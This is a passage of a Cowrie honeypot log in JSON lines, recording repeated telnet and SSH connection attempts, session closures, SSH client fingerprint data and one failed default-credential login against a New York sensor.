519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:34.325443Z","src_ip":"159.203.92.129","session":"b4e93c968e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amazonuser","password":"amazonuser","message":"login attempt [amazonuser/amazonuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:34.334968Z","src_ip":"159.203.92.129","session":"b4e93c968e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40452,"dst_ip":"10.17.0.5","dst_port":23,"session":"5223dccd03cc","protocol":"telnet","message":"New connection: 149.28.165.80:40452 (10.17.0.5:23) [session: 5223dccd03cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:35.118603Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:35.340387Z","src_ip":"159.203.92.129","session":"b4e93c968e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1188ac1f3bb2","protocol":"telnet","message":"New connection: 149.28.165.80:40468 (10.17.0.5:23) [session: 1188ac1f3bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:35.660582Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd3fef94707","protocol":"telnet","message":"New connection: 149.28.165.80:40460 (10.17.0.5:23) [session: 6dd3fef94707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:36.165954Z"}
{"eventid":"cowrie.session.closed","duration":53.57663655281067,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:36.633104Z","src_ip":"104.248.46.74","session":"bbddb795b23e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c29acd0930ff","protocol":"telnet","message":"New connection: 149.28.165.80:40482 (10.17.0.5:23) [session: c29acd0930ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:37.126589Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"545c94548022","protocol":"telnet","message":"New connection: 149.28.165.80:40508 (10.17.0.5:23) [session: 545c94548022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:38.852410Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40486,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3cb0bc12ce","protocol":"telnet","message":"New connection: 149.28.165.80:40486 (10.17.0.5:23) [session: 8b3cb0bc12ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:39.280344Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1265546dbf5","protocol":"telnet","message":"New connection: 149.28.165.80:54624 (10.17.0.5:23) [session: c1265546dbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:40.644942Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":40500,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6ef5151fbc1","protocol":"telnet","message":"New connection: 149.28.165.80:40500 (10.17.0.5:23) [session: c6ef5151fbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:41.902059Z"}
{"eventid":"cowrie.session.closed","duration":30.576167345046997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:42.167875Z","src_ip":"149.28.165.80","session":"3cf212d37feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795273542404175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:42.482028Z","src_ip":"149.28.165.80","session":"610819fecf21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9bfed580bc8","protocol":"telnet","message":"New connection: 149.28.165.80:54640 (10.17.0.5:23) [session: a9bfed580bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:43.630424Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54642,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19e5b24db77","protocol":"telnet","message":"New connection: 149.28.165.80:54642 (10.17.0.5:23) [session: c19e5b24db77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:43.848451Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54672,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f36780bf429","protocol":"telnet","message":"New connection: 149.28.165.80:54672 (10.17.0.5:23) [session: 2f36780bf429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:44.299277Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54658,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ad033c29d0","protocol":"telnet","message":"New connection: 149.28.165.80:54658 (10.17.0.5:23) [session: 43ad033c29d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:44.558128Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"62133813466e","protocol":"telnet","message":"New connection: 149.28.165.80:54688 (10.17.0.5:23) [session: 62133813466e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:44.804352Z"}
{"eventid":"cowrie.session.closed","duration":31.082533836364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:44.888518Z","src_ip":"149.28.165.80","session":"f4dabc1d0292","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.36228013038635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:45.378060Z","src_ip":"162.253.42.116","session":"192528142fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54694,"dst_ip":"10.17.0.5","dst_port":23,"session":"920f3170406e","protocol":"telnet","message":"New connection: 149.28.165.80:54694 (10.17.0.5:23) [session: 920f3170406e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:45.570684Z"}
{"eventid":"cowrie.session.closed","duration":30.818793535232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:46.169409Z","src_ip":"149.28.165.80","session":"09c8c23bd0d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115650177001953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:46.366459Z","src_ip":"149.28.165.80","session":"6094feb5db2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54696,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb9dfaaaeda","protocol":"telnet","message":"New connection: 149.28.165.80:54696 (10.17.0.5:23) [session: 6bb9dfaaaeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:46.638653Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bbb360d213","protocol":"telnet","message":"New connection: 149.28.165.80:54712 (10.17.0.5:23) [session: 64bbb360d213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:47.211197Z"}
{"eventid":"cowrie.session.closed","duration":31.18573832511902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:47.232629Z","src_ip":"149.28.165.80","session":"40f249638996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.483311653137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:47.573632Z","src_ip":"149.28.165.80","session":"8e54ebc78eaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76274347305298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:48.372300Z","src_ip":"149.28.165.80","session":"4345f219378a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640342712402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:50.317205Z","src_ip":"149.28.165.80","session":"3e31538d3d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378397703170776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:50.897595Z","src_ip":"149.28.165.80","session":"2491d6447b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.86775255203247,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:52.364119Z","src_ip":"208.82.116.131","session":"6a8e083fcbe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.05944275856018,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:52.613575Z","src_ip":"208.82.116.131","session":"669b2fdeabd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.43472409248352,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:52.682507Z","src_ip":"104.248.46.74","session":"4fc054488ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37240,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76ef87b1379","protocol":"telnet","message":"New connection: 149.28.165.80:37240 (10.17.0.5:23) [session: c76ef87b1379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:53.294328Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a723ca68d899","protocol":"telnet","message":"New connection: 149.28.165.80:37252 (10.17.0.5:23) [session: a723ca68d899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:54.062535Z"}
{"eventid":"cowrie.session.closed","duration":31.160938262939453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:54.150912Z","src_ip":"149.28.165.80","session":"031066de3dbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09408688545227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:55.268046Z","src_ip":"149.28.165.80","session":"ee336c4ad9e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01379919052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:55.272859Z","src_ip":"149.28.165.80","session":"da321c34cfe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59590,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf1e91e9e67","protocol":"telnet","message":"New connection: 162.253.42.116:59590 (10.17.0.5:23) [session: dbf1e91e9e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:55.484068Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37256,"dst_ip":"10.17.0.5","dst_port":23,"session":"36b3eae45fa6","protocol":"telnet","message":"New connection: 149.28.165.80:37256 (10.17.0.5:23) [session: 36b3eae45fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:55.788763Z"}
{"eventid":"cowrie.session.closed","duration":30.653907775878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:59.140267Z","src_ip":"149.28.165.80","session":"30c46e5d3a8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":35838,"dst_ip":"10.17.0.5","dst_port":23,"session":"816c4cfd0919","protocol":"telnet","message":"New connection: 149.28.165.80:35838 (10.17.0.5:23) [session: 816c4cfd0919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:59.449178Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":37266,"dst_ip":"10.17.0.5","dst_port":23,"session":"466ad0f523ba","protocol":"telnet","message":"New connection: 149.28.165.80:37266 (10.17.0.5:23) [session: 466ad0f523ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:44:59.782392Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":35848,"dst_ip":"10.17.0.5","dst_port":23,"session":"56119b83ada4","protocol":"telnet","message":"New connection: 149.28.165.80:35848 (10.17.0.5:23) [session: 56119b83ada4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:00.393042Z"}
{"eventid":"cowrie.session.closed","duration":30.919479608535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:01.236739Z","src_ip":"149.28.165.80","session":"8864a2125e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.587779998779297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:02.313895Z","src_ip":"149.28.165.80","session":"42e8dc5f7eb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":35864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b5af5e1cde","protocol":"telnet","message":"New connection: 149.28.165.80:35864 (10.17.0.5:23) [session: a0b5af5e1cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:03.623019Z"}
{"eventid":"cowrie.session.closed","duration":30.59193444252014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.252433Z","src_ip":"149.28.165.80","session":"1188ac1f3bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"61e968bb9384","protocol":"telnet","message":"New connection: 162.253.42.116:44564 (10.17.0.5:23) [session: 61e968bb9384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.268654Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32972,"dst_ip":"159.203.135.109","dst_port":23,"session":"d320cfd517d3","protocol":"telnet","message":"New connection: 208.82.116.131:32972 (159.203.135.109:23) [session: d320cfd517d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.442310Z"}
{"eventid":"cowrie.session.closed","duration":33.592856884002686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.549474Z","src_ip":"162.253.42.116","session":"8a7b6ade768d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9bbd7e30e1","protocol":"telnet","message":"New connection: 208.82.116.131:33024 (159.203.135.109:23) [session: 4f9bbd7e30e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.560469Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16c66190a40","protocol":"telnet","message":"New connection: 208.82.116.131:33042 (159.203.135.109:23) [session: e16c66190a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.607268Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33090,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d5fc972adb","protocol":"telnet","message":"New connection: 208.82.116.131:33090 (159.203.135.109:23) [session: e4d5fc972adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.679073Z"}
{"eventid":"cowrie.session.closed","duration":31.769563913345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:06.888044Z","src_ip":"149.28.165.80","session":"5223dccd03cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58281183242798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:07.748709Z","src_ip":"149.28.165.80","session":"6dd3fef94707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24724769592285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:08.373721Z","src_ip":"149.28.165.80","session":"c29acd0930ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":35878,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e80450138f2","protocol":"telnet","message":"New connection: 149.28.165.80:35878 (10.17.0.5:23) [session: 6e80450138f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:08.814370Z"}
{"eventid":"cowrie.session.closed","duration":31.006538152694702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:09.858856Z","src_ip":"149.28.165.80","session":"545c94548022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.761259078979492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:11.041500Z","src_ip":"149.28.165.80","session":"8b3cb0bc12ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32878,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6ab1a67d15","protocol":"telnet","message":"New connection: 149.28.165.80:32878 (10.17.0.5:23) [session: 4f6ab1a67d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:11.047756Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32886,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bba542dddea","protocol":"telnet","message":"New connection: 149.28.165.80:32886 (10.17.0.5:23) [session: 7bba542dddea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:11.160596Z"}
{"eventid":"cowrie.session.closed","duration":30.706072330474854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:11.350935Z","src_ip":"149.28.165.80","session":"c1265546dbf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32902,"dst_ip":"10.17.0.5","dst_port":23,"session":"e654bf29943e","protocol":"telnet","message":"New connection: 149.28.165.80:32902 (10.17.0.5:23) [session: e654bf29943e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:11.988381Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f5e4e1f05f7","protocol":"telnet","message":"New connection: 149.28.165.80:32904 (10.17.0.5:23) [session: 1f5e4e1f05f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:12.304657Z"}
{"eventid":"cowrie.session.closed","duration":32.162086725234985,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:14.064026Z","src_ip":"149.28.165.80","session":"c6ef5151fbc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669988870620728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:14.518312Z","src_ip":"149.28.165.80","session":"c19e5b24db77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944051504135132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:14.574383Z","src_ip":"149.28.165.80","session":"a9bfed580bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32918,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5109537b31c","protocol":"telnet","message":"New connection: 149.28.165.80:32918 (10.17.0.5:23) [session: a5109537b31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:14.926770Z"}
{"eventid":"cowrie.session.closed","duration":30.559061288833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:15.117110Z","src_ip":"149.28.165.80","session":"43ad033c29d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.378262519836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:15.182480Z","src_ip":"149.28.165.80","session":"62133813466e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41746,"dst_ip":"159.203.135.109","dst_port":23,"session":"525dc6ea7ab3","protocol":"telnet","message":"New connection: 104.248.46.74:41746 (159.203.135.109:23) [session: 525dc6ea7ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:15.644997Z"}
{"eventid":"cowrie.session.closed","duration":31.377140998840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:15.676289Z","src_ip":"149.28.165.80","session":"2f36780bf429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.28.165.80","src_port":32934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2944c8bdbab","protocol":"telnet","message":"New connection: 149.28.165.80:32934 (10.17.0.5:23) [session: a2944c8bdbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:16.037762Z"}
{"eventid":"cowrie.session.closed","duration":30.9445219039917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:16.515090Z","src_ip":"149.28.165.80","session":"920f3170406e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64254927635193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.281111Z","src_ip":"149.28.165.80","session":"6bb9dfaaaeda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34898,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3ca510192aa","protocol":"ssh","message":"New connection: 159.203.92.129:34898 (159.203.135.109:22) [session: f3ca510192aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.411437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:45:17.416489Z","src_ip":"159.203.92.129","session":"f3ca510192aa","protocol":"ssh"}
